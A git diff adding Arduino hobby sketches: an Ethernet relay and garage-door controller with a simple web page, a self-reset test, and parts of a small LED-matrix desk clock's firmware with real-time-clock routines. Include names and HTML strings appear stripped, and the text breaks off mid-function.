a/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino b/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino new file mode 100644 index 0000000..c66361b --- /dev/null +++ b/Projects/RelayController/ServerController_1.0/ServerController_1.0.ino @@ -0,0 +1,264 @@ +#include +#include + +byte mac[] = { + 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51 }; + +IPAddress ip(10,0,0,5); + +EthernetServer server(80); + +int relayPins[] = {4, 7, 6, 5}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +String readString = String(100); //string for fetching data from address + +void setup() +{ + Serial.begin(9600); + + for (int i = 0; i < 6; i++) + { + if (i < 4) + pinMode(relayPins[i], OUTPUT); + pinMode(buttonPins[i], INPUT_PULLUP); + } + + // start the Ethernet connection and the server: + + Serial.println(F("Initiaizing ethernet...")); + + // this uses a fixed address + Ethernet.begin(mac, ip); + + // get an address with DHCP + //if (Ethernet.begin(mac) == 0) + // Serial.println("Failed to configure Ethernet using DHCP"); + + // give the card a second to initialize + delay(1000); + + server.begin(); + + Serial.print(F("Garage Door Opener Control Ready at IP address ")); + Serial.println(Ethernet.localIP()); +} + +void loop() +{ + // command received (one character) '1' - activate garage door button + char cmd = 0; // 1 - pulse button + boolean done = false; // set to indicate that response is complete + + // listen for incoming clients + EthernetClient client = server.available(); + if (client) + { + Serial.println(F("new client")); + readString = ""; + + while (client.connected()) + { + if (client.available()) + { + char c = client.read(); + Serial.write(c); + + // store character received in receive string + if (readString.length() < 100) + readString += (c); + + // check for end of line + if (c == '\n') + { + // process line if its the "GET" request + // a request looks like "GET /?1" or "GET /?2" + if (readString.indexOf("GET") != -1) + { + if (readString.indexOf("?1") != -1) + cmd = '1'; + // check for other commands here. ie turn on light, etc. + if (readString.indexOf("?2") != -1) + cmd = '2'; + if (readString.indexOf("?3") != -1) + cmd = '3'; + if (readString.indexOf("?4") != -1) + cmd = '4'; + if (readString.indexOf("?5") != -1) + cmd = '5'; + if (readString.indexOf("?6") != -1) + cmd = '6'; + if (readString.indexOf("?7") != -1) + cmd = '7'; + if (readString.indexOf("?8") != -1) + cmd = '8'; + } + // if a blank line was received (just cr lf, length of 2), then its the end of the request + if (readString.length() == 2) + { + if (cmd == '1'){ + Serial.println(F("Activate Button")); + digitalWrite(6, HIGH); + } + if (cmd == '2'){ + Serial.println(F("Activate Button")); + digitalWrite(6, LOW); + } + if (cmd == '3'){ + Serial.println(F("Activate Button")); + digitalWrite(5, HIGH); + } + if (cmd == '4'){ + Serial.println(F("Activate Button")); + digitalWrite(5, LOW); + } + if (cmd == '5'){ + Serial.println(F("Activate Button")); + digitalWrite(7, HIGH); + } + if (cmd == '6'){ + Serial.println(F("Activate Button")); + digitalWrite(7, LOW); + } + if (cmd == '7'){ + Serial.println(F("Activate Button")); + digitalWrite(4, HIGH); + } + if (cmd == '8'){ + Serial.println(F("Activate Button")); + digitalWrite(4, LOW); + } + // add other commands here + + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch(i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + /* + myservo.write(300); + delay(500); + myservo.write(110); + break; + */ + default: + relayChange(i); + break; + } + } + /* + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + }*/ + } + + // send web page back to client + Serial.println(F("sending web page")); + SendWebPage(client); + Serial.println(F("web page sent")); + + cmd = 0; + + // break out and disconnect. This will tell the browser the request is complete without having to specify content-length + break; + + } // end of request reached + + // start line over + readString = ""; + } // end of line reached + } // end data is available from client + } // end cient is connected + // give the web browser time to receive the data + Serial.println(F("delay before disconnect")); + delay(100); + // close the connection: + client.stop(); + Serial.println(F("client disonnected")); + } // end client has been created +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} + + +// send web page +void SendWebPage(EthernetClient client) +{ + client.println(F("HTTP/1.1 200 OK")); + client.println(F("Content-Type: text/html")); + // to specify the length, wooul have to construct the entire string and then get its length + //client.println("Content-Length: 1234"); + client.println(F("Connnection: close")); + client.println(); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("Home Automation Control")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("
")); + client.println(F("Home Auotmation Control

")); + + + // door open / close button + if (digitalRead(6)==LOW) + client.println(F("

")); + if (digitalRead(6)==HIGH) + client.println(F("

")); + if (digitalRead(5)==LOW) + client.println(F("

")); + if (digitalRead(5)==HIGH) + client.println(F("

")); + if (digitalRead(7)==LOW) + client.println(F("

")); + if (digitalRead(7)==HIGH) + client.println(F("

")); + if (digitalRead(4)==LOW) + client.println(F("

")); + if (digitalRead(4)==HIGH) + client.println(F("

")); + + // add more buttons here + // button separator + + client.println(F("
")); + + client.println(F("")); + client.println(F("")); + + client.println(""); +} + + + + diff --git a/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino b/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino new file mode 100644 index 0000000..3a5e01a --- /dev/null +++ b/Projects/RelayController/ServerController_1.1/ServerController_1.1.ino @@ -0,0 +1,235 @@ +#include +#include +#include + +byte mac[] = { + 0x90, 0xA2, 0xDA, 0x0D, 0xA7, 0x51}; + +IPAddress ip(10,0,0,5); +EthernetServer server(81); + +int relayPins[] = {7, 6, 5, 4}; +int buttonPins[] = {8, 9, 10, 11, 12, 13}; +int relayState[] = {0, 0, 0, 0}; +int buttonState = 0; + +Servo speakerServo; + +String readString = String(100); + +void setup() +{ + Serial.begin(9600); + for (int i = 0; i < 6; i++) + { + Serial.println("RUN"); + if (i < 4) + pinMode(relayPins[i], OUTPUT); + pinMode(buttonPins[i], INPUT_PULLUP); + } + + speakerServo.attach(3); + + Serial.println(F("Initialaizing ethernet...")); + Ethernet.begin(mac, ip); + + delay(1000); + + server.begin(); + Serial.print(F("Kevin's RelayController ready at: ")); + Serial.println(Ethernet.localIP()); +} + +void loop() +{ + int cmd = 0; + boolean done = false; + + //checkButtons(); + + EthernetClient client = server.available(); + + if (client) + { + Serial.println(F("new client")); + readString = ""; + + while (client.connected()) + { + if (client.available()) + { + char c = client.read(); + Serial.write(c); + if (readString.length() < 100) + readString += (c); + + // Check serverInputs + if (c == '\n') + { + if (readString.indexOf("GET") != -1) + { + if (readString.indexOf("?1") != -1) + cmd = 1; + if (readString.indexOf("?2") != -1) + cmd = 2; + if (readString.indexOf("?3") != -1) + cmd = 3; + if (readString.indexOf("?4") != -1) + cmd = 4; + if (readString.indexOf("?5") != -1) + cmd = 5; + if (readString.indexOf("?6") != -1) + cmd = 6; + if (readString.indexOf("?7") != -1) + cmd = 7; + if (readString.indexOf("?8") != -1) + cmd = 8; + if (readString.indexOf("?9") != -1) + cmd = 9; + if (readString.indexOf("?10") != -1) + cmd = 10; + } + //Serial.println(cmd); + if (readString.length() >= 2) + { + changeState(cmd); + Serial.println(F("Sending web page")); + SendWebPage(client); + Serial.println(F("Web page sent!")); + cmd = 0; + break; + } + readString = ""; + } + } + } + Serial.println(F("Delay before disconnecting")); + delay(50); + client.stop(); + Serial.println(F("Client disconnected")); + } +} + +void changeState(int n) +{ + Serial.println(n); + if (n > 0 && n <= 4) + { + Serial.println(F("Activate Button")); + digitalWrite(relayPins[n - 1], HIGH); + } + else if (n > 4 && n <= 8) + { + Serial.println(F("Activate Button")); + digitalWrite(relayPins[n - 5], LOW); + } + else if (n == 9) + { + Serial.println(F("Activate Button")); + speakerServo.write(156); + delay(500); + speakerServo.write(140); + } + else if (n == 10) + { + Serial.println(F("Activate Button")); + // Do something + } +} + +void checkButtons() +{ + for (int i = 0; i < 6; i++) + { + buttonState = digitalRead(buttonPins[i]); + if (buttonState == LOW) + { + switch (i) + { + case 4: + // + break; + case 3: + // Turn on the servo for speaker + speakerServo.write(156); + delay(500); + speakerServo.write(140); + break; + default: + relayChange(i); + break; + } + } + while (buttonState == LOW) + { + delay(50); + buttonState = digitalRead(buttonPins[i]); + } + } +} + +void relayChange(int i) +{ + if (relayState[i] == 0) + { + digitalWrite(relayPins[i], HIGH); + relayState[i] = 1; + } + else + { + digitalWrite(relayPins[i], LOW); + relayState[i] = 0; + } +} + +void SendWebPage(EthernetClient client) +{ + client.println(F("HTTP/1.1 200 OK")); + client.println(F("Content-Type: text/html")); + client.println(F("Connection: close")); + client.println(); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("RelayController")); + client.println(F("")); + client.println(F("")); + client.println(F("")); + client.println(F("
")); + client.println(F("
RelayController

")); + + // Buttons + if (digitalRead(relayPins[0]) == LOW) + client.println(F("")); + else + client.println(F("")); + if (digitalRead(relayPins[1]) == LOW) + client.println(F("

")); + else + client.println(F("

")); + if (digitalRead(relayPins[2]) == LOW) + client.println(F("")); + else + client.println(F("")); + if (digitalRead(relayPins[3]) == LOW) + client.println(F("

")); + else + client.println(F("

")); + + client.println(F("")); + client.println(F("

")); + + client.println(F("
")); + client.println(F("")); + client.println(F("")); + client.println(""); +} + diff --git a/Projects/Reset/Reset.ino b/Projects/Reset/Reset.ino new file mode 100755 index 0000000..368bba1 --- /dev/null +++ b/Projects/Reset/Reset.ino @@ -0,0 +1,31 @@ +int led = 13;//pin 13 as OUTPUT LED pin +int resetPin = 3; +// the setup routine runs once when you press reset: +void setup() { + digitalWrite(resetPin, LOW); + delay(200); + // initialize the digital pin as an output. + pinMode(led, OUTPUT); + pinMode(resetPin, OUTPUT); + Serial.begin(9600);//initialize Serial Port + Serial.println("reset");//print reset to know the program has been reset and + //the setup function happened + delay(200); +} + +// the loop routine runs over and over again forever: +void loop() { + delay(10); + digitalWrite(led, LOW); // turn the LED on (HIGH is the voltage level) + Serial.println("on"); + delay(1000); // wait for a second + digitalWrite(led, HIGH); // turn the LED off by making the voltage LOW + Serial.println("off"); + delay(1000); // wait for a second + Serial.println("resetting"); + delay(10); + digitalWrite(resetPin, HIGH); + Serial.println("this never happens"); + //this never happens because Arduino resets + +} diff --git a/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino b/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino new file mode 100644 index 0000000..4c81af8 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Main/ST2_Main.ino @@ -0,0 +1,222 @@ +//******************************************************************************************************************* +// Main Loop +//******************************************************************************************************************* +void loop() +{ + // Test for Sleep ------------------------------------------------* + + currentMillis = millis(); + OptionModeFlag = false; + + if(((currentMillis - SleepTimer) > SleepLimit) && SleepEnable) + { + + if(STATE= 1) // New for ST Desk Clock - goto Time vs Sleep + { + SUBSTATE = 1; + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + }else + { + STATE= 1; // was STATE= 99; + SUBSTATE = 0; + } + + SleepTimer = millis(); + + } + + // Test for Mode Button Press ------------------------------------* + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + if(ALARMON) + { + CheckAlarm(); + } + + if(ALARM1FLAG) + { + ALARM1FLAG = false; + ALARMON = false; + EnableAlarm1(false); + STATE = 90; + JustWokeUpFlag = false; + } + else + { + if(JustWokeUpFlag) + { + JustWokeUpFlag = false; + JustWokeUpFlag2 = true; // Used to supress "Time" text from showing when waking up. + } + else + { + NextStateRequest = true; + } + // SUBSTATE = 99; + + while(bval) + { + bval = !digitalRead(SETBUTTON); + if(bval) + { + OptionModeFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + displayString("SPEC"); + delay(300); + } + bval = !digitalRead(MODEBUTTON); + } + + delay(100); + SleepTimer = millis(); + } + } + + // Test for SET Button Press ------------------------------------* + + bval = !digitalRead(SETBUTTON); + if(bval && !OptionModeFlag) + { + NextSUBStateRequest = true; + + while(bval) + { + + bval = !digitalRead(MODEBUTTON); + if(bval) + { + OptionModeFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + displayString("SPEC"); + delay(300); + } + + + bval = !digitalRead(SETBUTTON); + } + delay(100); + SleepTimer = millis(); + } + + // Running Blink counter ------------------------------------* + if(blinkFlag) + { + blinkCounter = blinkCounter +1; + if(blinkCounter >blinkTime) // was 150 + { + blinkON = !blinkON; + blinkCounter = 0; + } + } + else + { + blinkON = true; // Not blinking, just leave the LEDs lit + } + +//******************************************************************************************************************* +// Main Loop - State Machine +//******************************************************************************************************************* + + switch (STATE) + { + case 0: // Set-Up + STATE = 1; + break; + + case 1: // Display Time + DisplayTimeSub(); + break; + + case 2: // Set Time + setAlarmSub(); + break; + + case 3: // Config Alarm + setTimeSub(); + break; + + case 4: // Stop Watch + StopWatch(); + break; + + + case 5: // Serial Display + DisplaySerialData(); + break; + + case 6: // Graphic Demo + graphican(); + break; + + // --------------------------------------------------------------- + + case 90: // Alarm Triggered + + blinkFlag = true; + displayString("Beep"); + + if(blinkON) + { + pinMode(SETBUTTON, OUTPUT); + tone(SETBUTTON,4000) ; + delay(100); + noTone(SETBUTTON); + digitalWrite(SETBUTTON, HIGH); + } + + #if ARDUINO >= 101 + pinMode(SETBUTTON, INPUT_PULLUP); +// digitalWrite(SETBUTTON, HIGH); + #else +// digitalWrite(SETBUTTON, HIGH); + pinMode(SETBUTTON, INPUT); + #endif + delay(250); + +// bval = !digitalRead(SETBUTTON); + if(NextSUBStateRequest | NextStateRequest) + { + STATE = 0; + SUBSTATE = 0; + // NextStateFlag = true; + NextStateRequest = false; + NextSUBStateRequest = false; + blinkFlag = false; + } + break; + + // --------------------------------------------------------------- + + case 99: // Sleep + displayString("Nite"); + delay(500); + clearmatrix(); + GoToSleep(); + SleepTimer = millis(); + STATE = 0; + SUBSTATE = 0; + break; + + // --------------------------------------------------------------- + + } +} + + +//******************************************************************************************************************* +// End of Main Loop +//******************************************************************************************************************* + + + + + + + diff --git a/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino b/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino new file mode 100644 index 0000000..ab806d9 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Matrix/ST2_Matrix.ino @@ -0,0 +1,170 @@ + //******************************************************************************************************************* +// Called by Timer 1 Interrupt to draw next column in LED matrix +//******************************************************************************************************************* +// Only light one ROW (and one column) ie one pixel at a time. = lower current draw, but lower refresh rate. + + +void LEDupdateTWO() // ONE ROW of selected column at a time +{ + + if(ROWBITINDEX >6) + { + Mcolumn = Mcolumn+1; // Prep for next column + if(Mcolumn >19) + { + Mcolumn =0; + } + + PORTB = (PORTB & B10000000); // Clear last column + PORTC = (PORTC & B11110000) | B00001111; + + if(Mcolumn <16) // Matrix column (from 0 to 19) + { + PORTB = (PORTB & B01111111); //| (0<19) + { + Mcolumn =0; + } +} + +//******************************************************************************************************************* +// Used by STII Small Desk Clock +//******************************************************************************************************************* +// Only light one ROW (and one column) ie one pixel at a time. = lower current draw, but lower refresh rate. + + +// Where: +// PORTC2 - S1 (ADC1) +// PORTC3 - S2 (ADC2) +// When S1=H and S2=L Decoder 1 = Selected +// When S1=L and S2=H Decoder 2 = Selected +// When S1=L and S2=L Decoder 3 = Selected +// When S1=H and S2=H None Selected = all columns are OFF + +// PORTD4 - A +// PORTD5 - B +// PORTD6 - C +// PORTD7 - Free pin (only with the "Small desk clock") + +// PORTB 0 to 6 = ROWS 1 to 7 + +void LEDupdateTHREE() // ONE ROW of selected column at a time +{ + + if(ROWBITINDEX >6) + { + ROWBITINDEX = 0; + + Mcolumn = Mcolumn+1; // Prep for next column + if(Mcolumn >19) + { + Mcolumn =0; + } + +// PORTB = (PORTB & B10000000); // Clear last column + PORTB = (PORTB & B10000000); + PORTC = (PORTC & B11110011) | B00001100; // Turn off decoders + + + + if(Mcolumn < 8) // Matrix column (from 0 to 7) + { + PORTD = (PORTD & B10001111) | (Mcolumn << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011) | B00000100; // Select Chip 1 + } + + if(Mcolumn > 7 && Mcolumn < 16) + { + PORTD = (PORTD & B10001111) | ((Mcolumn - 8) << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011) | B00001000; // Select Chip 2 + } + + if(Mcolumn > 15) + { + PORTD = (PORTD & B10001111) | ((Mcolumn - 16) << 4); // Decode address to 74HC138 + PORTC = (PORTC & B11110011); // Select Chip 3 + } + } + else + { +// PORTB = (PORTB & B10000000); + PORTB = (PORTB & B10000000); + if(bitRead(LEDMAT[Mcolumn],ROWBITINDEX)) + { + // PORTB = (PORTB & B10000000); + bitSet(PORTB,ROWBITINDEX); + } + + ROWBITINDEX = ROWBITINDEX +1; + + delayMicroseconds(50); // Test to see if this makes LEDs brighter + } +} + + diff --git a/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino b/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino new file mode 100644 index 0000000..526e15c --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_RTC/ST2_RTC.ino @@ -0,0 +1,526 @@ +//******************************************************************************************************************* +// Check Time +//******************************************************************************************************************* +void checktime() +{ + uint8_t temp =0; + + I2C_RX(RTCDS1337,RTC_SEC); + SecOnes = i2cData & B00001111; // + + SecTens = i2cData & B01110000; // + SecTens = SecTens >> 4; + + + I2C_RX(RTCDS1337,RTC_MIN); + MinOnes = i2cData & B00001111; // + + MinTens = i2cData & B01110000; // + MinTens = MinTens >> 4; + + I2C_RX(RTCDS1337,RTC_HOUR); + HourOnes = i2cData & B00001111; // + + TH_Not24_flag = bitRead(i2cData, 6); // False on RTC when 24 mode selected + PM_NotAM_flag = bitRead(i2cData, 5); + + if(TH_Not24_flag == true) + { + HourTens = i2cData & B00010000; // + HourTens = HourTens >> 4; + + } + else + { + HourTens = i2cData & B00110000; // + HourTens = HourTens >> 4; + } +} + +//******************************************************************************************************************* +// Check Date +//******************************************************************************************************************* +void checkDate() +{ + + int temp = 0; + I2C_RX(RTCDS1337,RTC_DAY); + Days = i2cData & B00000111; // + + I2C_RX(RTCDS1337,RTC_MONTH); + MonthCode = i2cData & B00001111; // + + temp = (i2cData & B00010000) >> 4; + if(temp) + { + MonthCode = MonthCode +10; // Convert BCD month into interger month + } + + I2C_RX(RTCDS1337,RTC_DATE); + DateOnes = i2cData & B00001111; // + DateTens = (i2cData & B00110000) >> 4; + +} + + +//******************************************************************************************************************* +// SET Time - NEW +//******************************************************************************************************************* + +void settimeNEW(uint8_t setselect) // both min digits or both hour digits (advance one at a time) +{ + uint8_t temp =0; + switch(setselect) + { + + case 1: + MinOnes = MinOnes +1; + if(MinOnes >9) + { + MinOnes = 0; + + MinTens = MinTens +1; + if(MinTens >5) + { + MinTens = 0; + } + + // temp = (MinTens << 4) + MinOnes; + // I2C_TX(RTCDS1337,RTC_MIN,temp); + } + + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_MIN,temp); + break; + + + // ----------------------------------------------- + + case 2: + HourOnes = HourOnes +1; + + if(TH_Not24_flag) +// 12 hours mode increment + { + + if(HourOnes >9 ) + { + HourOnes = 0; + HourTens = 1; + } + + if((HourOnes ==2) && (HourTens == 1)) + { + PM_NotAM_flag = !PM_NotAM_flag; + } + + if((HourOnes >2) && (HourTens == 1)) + { +// PM_NotAM_flag = !PM_NotAM_flag; + HourTens = 0; + HourOnes = 1; + } + + } + else +// 24 hours mode increment - S + { + + if((HourOnes >9) && (HourTens < 2)) + { + HourOnes = 0; + HourTens = HourTens +1; + } + + if((HourTens ==2) && (HourOnes == 4)) + { + HourOnes = 0; + HourTens = 0; + } + } +// 24 hours mode increment - E + + temp = (HourTens << 4) + HourOnes; + if(TH_Not24_flag) + { + bitWrite(temp, 5, PM_NotAM_flag); + } + + bitWrite(temp, 6, TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_HOUR,temp); + break; + + case 3: + Days = Days +1 ; + if(Days>7) + { + Days = 1; + } + temp = Days & B00000111; // + I2C_TX(RTCDS1337,RTC_DAY,temp); + break; + + case 4: + temp = 0; + MonthCode = MonthCode +1 ; + if(MonthCode >12) + { + MonthCode = 1; + } + if(MonthCode>9) + { + temp = MonthCode - 10; + // MonthCode = MonthCode & B00001111; + bitSet(temp, 4); // Convert int to BCD + } + else + { + temp = MonthCode & B00001111; + } + + I2C_TX(RTCDS1337,RTC_MONTH,temp); + break; + + case 5: // Date + + // I2C_RX(RTCDS1337,RTC_DATE); + // DateOnes = i2cData & B00001111; + // DateTens = (i2cData & B00110000) >> 4; + DateOnes = DateOnes + 1; + if((DateTens == 3) && (DateOnes > 1)) + { + DateOnes = 1; + DateTens =0; + } + else + { + if(DateOnes>9) + { + DateOnes = 0; + DateTens = DateTens +1; + } + } + temp = (DateOnes & B00001111) | ((DateTens << 4) & B00110000); + I2C_TX(RTCDS1337,RTC_DATE,temp); + break; + + case 6: // year + break; + } +} + +//******************************************************************************************************************* +// 12:00 Start Time +//******************************************************************************************************************* + +void SetStartTime() +{ + uint8_t temp =0; + + HourTens = 1; + HourOnes = 2; + temp = (HourTens << 4) + HourOnes; + bitWrite(temp, 5, PM_NotAM_flag); + bitWrite(temp, 6, TH_Not24_flag); + + I2C_TX(RTCDS1337,RTC_HOUR,temp); + + MinTens = 0; + MinOnes = 0; + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_MIN,temp); +} + +//******************************************************************************************************************* +// SET Alarm +//******************************************************************************************************************* + +void SetAlarmTime() // Just for testing set to 12:01 PM +{ + uint8_t temp =0; + + HourTens = 1; + HourOnes = 2; + temp = (HourTens << 4) + HourOnes; + bitWrite(temp, 5, A_PM_NotAM_flag); + bitWrite(temp, 6, A_TH_Not24_flag); + + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + + MinTens = 0; + MinOnes = 1; + temp = (MinTens << 4) + MinOnes; + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + + +} + +//******************************************************************************************************************* +// Check Alarm +//******************************************************************************************************************* + +void CheckAlarm() +{ + uint8_t temp =0; + I2C_RX(RTCDS1337,RTCSTATUS); + ALARM1FLAG = bitRead(i2cData, 0); + + if(ALARM1FLAG) + { + temp =i2cData; + bitClear(temp, 0); + I2C_TX(RTCDS1337,RTCSTATUS,temp); + } + +} + +//******************************************************************************************************************* +// Enable Alarm +//******************************************************************************************************************* + +void EnableAlarm1(boolean onoff) // Trigger on Hours & Minutes Match +{ + uint8_t temp =0; + + // Adjust for Hours - Minutes Trigger -S + I2C_RX(RTCDS1337,RTC_ALARM1SEC); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1SEC,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1MIN); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1HOUR); + temp =i2cData; + bitClear(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + + I2C_RX(RTCDS1337,RTC_ALARM1DATE); + temp =i2cData; + bitSet(temp, 7); + I2C_TX(RTCDS1337,RTC_ALARM1DATE,temp); + // Adjust for Hours - Minutes Trigger -E + + I2C_RX(RTCDS1337,RTCCONT); // Enable Alarm Pin on RTC + temp =i2cData; + + if(onoff) + { + bitSet(temp, 0); + } + else + { + bitClear(temp, 0); + } + I2C_TX(RTCDS1337,RTCCONT,temp); + + I2C_RX(RTCDS1337,RTCSTATUS); // Clear Alarm RTC internal Alarm Flag + temp =i2cData; + bitClear(temp, 0); + I2C_TX(RTCDS1337,RTCSTATUS,temp); +} +//******************************************************************************************************************* +// SET ALARM TIME +//******************************************************************************************************************* + +void setAlarm(uint8_t setselect) // both min digits or both hour digits (advance one at a time) +{ + uint8_t temp =0; + switch(setselect) + { + + case 1: + AMinOnes = AMinOnes +1; + if(AMinOnes >9) + { + AMinOnes = 0; + + AMinTens = AMinTens +1; + if(AMinTens >5) + { + AMinTens = 0; + } + } + + temp = (AMinTens << 4) + AMinOnes; + I2C_TX(RTCDS1337,RTC_ALARM1MIN,temp); + break; + + + case 2: + AHourOnes = AHourOnes +1; + +// -----------* + if(A_TH_Not24_flag) +// 12 hours mode increment + { + + if(AHourOnes >9 ) + { + AHourOnes = 0; + AHourTens = 1; + } + + if((AHourOnes ==2) && (AHourTens == 1)) + { + A_PM_NotAM_flag = !A_PM_NotAM_flag; + } + + if((AHourOnes >2) && (AHourTens == 1)) + { +// PM_NotAM_flag = !PM_NotAM_flag; + AHourTens = 0; + AHourOnes = 1; + } + + } + else +// 24 hours mode increment - S + { + + if((AHourOnes >9) && (AHourTens < 2)) + { + AHourOnes = 0; + AHourTens = AHourTens +1; + } + + if((AHourTens ==2) && (AHourOnes == 4)) + { + AHourOnes = 0; + AHourTens = 0; + } + } +// 24 hours mode increment - E +// -----------* + +/* + if(AHourOnes >9) + { + AHourOnes = 0; + AHourTens = AHourTens +1; + if((AHourTens >1) && (A_TH_Not24_flag)) + { + AHourTens = 0; + } + else + { + if(AHourTens >2) + { + AHourTens = 0; + } + } + } +*/ + temp = (AHourTens << 4) + AHourOnes; + if(A_TH_Not24_flag) + { + bitWrite(temp, 5, A_PM_NotAM_flag); + } + + bitWrite(temp, 6, A_TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_ALARM1HOUR,temp); + break; + } + +} + +//******************************************************************************************************************* +// Toggle Twelve and Twenty Four hour time +//******************************************************************************************************************* + +void TwelveTwentyFourConvert() +{ + + int temphours = 0; + int temp = 0; + + I2C_RX(RTCDS1337,RTC_HOUR); + HourOnes = i2cData & B00001111; // + + // TH_Not24_flag = bitRead(i2cData, 6); // False on RTC when 24 mode selected + // PM_NotAM_flag = bitRead(i2cData, 5); + + if(TH_Not24_flag) + { + HourTens = i2cData & B00010000; // + HourTens = HourTens >> 4; + + } + else + { + HourTens = i2cData & B00110000; // + HourTens = HourTens >> 4; + } + + temphours = HourOnes + (HourTens*10); // 12 .... 1.2.3...12 or 0 ..1.2.3. ...23 + + if(TH_Not24_flag != NewTimeFormate) + { + if(NewTimeFormate) // NewTimeFormate is same formate as TH_Not24_flag where H is 12 and LOW is 24 + { + // ---------------- 24 -> 12 + // Convert into 12 hour clock + if(temphours >= 12) + { + PM_NotAM_flag = true; // it is in the PM + if(temphours> 12) + { + temphours = temphours - 12; // Convert from 13:00 .... 23:00 to 1:00 ... 11:00 [Go from 23:59 / 13:00 to 12:00 to 1:00] ? + } + else + { + temphours = temphours; // do nothing it is 12:00 + } + } + else + { + PM_NotAM_flag = false; // it is in the AM - No other conversion needed + } + if(temphours == 0) + { + temphours = 12; + } + } + else + // ---------------- 12 -> 24 // Convert into 24 hour clock + { + if((PM_NotAM_flag == false) && (temphours == 12)) // AM only check for 00 hours + { + temphours = 0; + } + if(PM_NotAM_flag == true) + { // PM conversion + if(temphours != 12) // Leave 12 as 12 in 24h time + { + temphours = temphours + 12; + } + } + + } + + // Common finish conversion section + TH_Not24_flag = NewTimeFormate; + HourTens = temphours / 10; + HourOnes = temphours % 10; + + // --- + temp = (HourTens << 4) + HourOnes; + if(TH_Not24_flag) + { + bitWrite(temp, 5, PM_NotAM_flag); + } + + bitWrite(temp, 6, TH_Not24_flag); + I2C_TX(RTCDS1337,RTC_HOUR,temp); + + // --- + + } + + +} + + diff --git a/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino b/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino new file mode 100644 index 0000000..6ad2919 --- /dev/null +++ b/Projects/ST_Two_Small_Clock/ST2_Routines/ST2_Routines.ino @@ -0,0 +1,1449 @@ +//******************************************************************************************************************* +// Helper - State incrementor +//******************************************************************************************************************* +// Increments the Main state to the next state upto MAXSTATE +// If you add more States increase MAXSTATE to match. + +void NextState() +{ + STATE = STATE + 1; + SUBSTATE = 0; + NextStateRequest = false; + if(STATE > MAXSTATE) + { + STATE = 0; + SUBSTATE = 0; + } +} + + +//******************************************************************************************************************* +// Beep the piezo +//******************************************************************************************************************* +// NOTE: the piezo uses the same pin as the SET Button input +// This routine switches the pin to an output during the beeping process +// (There is a current limited resistor on the board to prevent over current if the Set Button is pressed at +// the same time as the pin is driving the piezo.) + +void beepsound(int freq, int freqlenght) +{ + // freq was 4000 + // freqlenght was 100 + pinMode(SETBUTTON, OUTPUT); + tone(SETBUTTON,freq,freqlenght); + delay(freqlenght); + noTone(SETBUTTON); + digitalWrite(SETBUTTON, HIGH); + + #if ARDUINO >= 101 + pinMode(SETBUTTON, INPUT_PULLUP); +// digitalWrite(SETBUTTON, HIGH); + #else +// digitalWrite(SETBUTTON, HIGH); + pinMode(SETBUTTON, INPUT); + #endif + +} + +//******************************************************************************************************************* +// Display Time Routine +//******************************************************************************************************************* +void DisplayTimeSub() +{ + + if(NextStateRequest) + { + SUBSTATE =99; + } + + if(NextSUBStateRequest) + { + SUBSTATE = SUBSTATE +1; + if(SUBSTATE>4) + { + SUBSTATE =1; + } + NextSUBStateRequest = false; + } + + UpdateTime = UpdateTime + 1; + if(UpdateTime > 2000) + { + checktime(); + checkDate(); + UpdateTime = 0; + } + + + switch (SUBSTATE) + { + case 0: // Start Display Time + SUBSTATE = 1; + blinkON = true; + blinkFlag = false; + blinkMin = false; + blinkHour = false; + + checktime(); + checkDate(); + + if(!JustWokeUpFlag2) + { + displayString("Time"); + } + else + { + JustWokeUpFlag2 = false; + } + delay(250); + break; + + case 1: // Time + +// checktime(); + writeTime(HourTens, HourOnes, MinTens, MinOnes); + break; + + case 2: // Day + // checkDate(); + displayStringDay(Days -1); + break; + + case 3: // Month + // checkDate(); + displayMonth(MonthCode-1); + 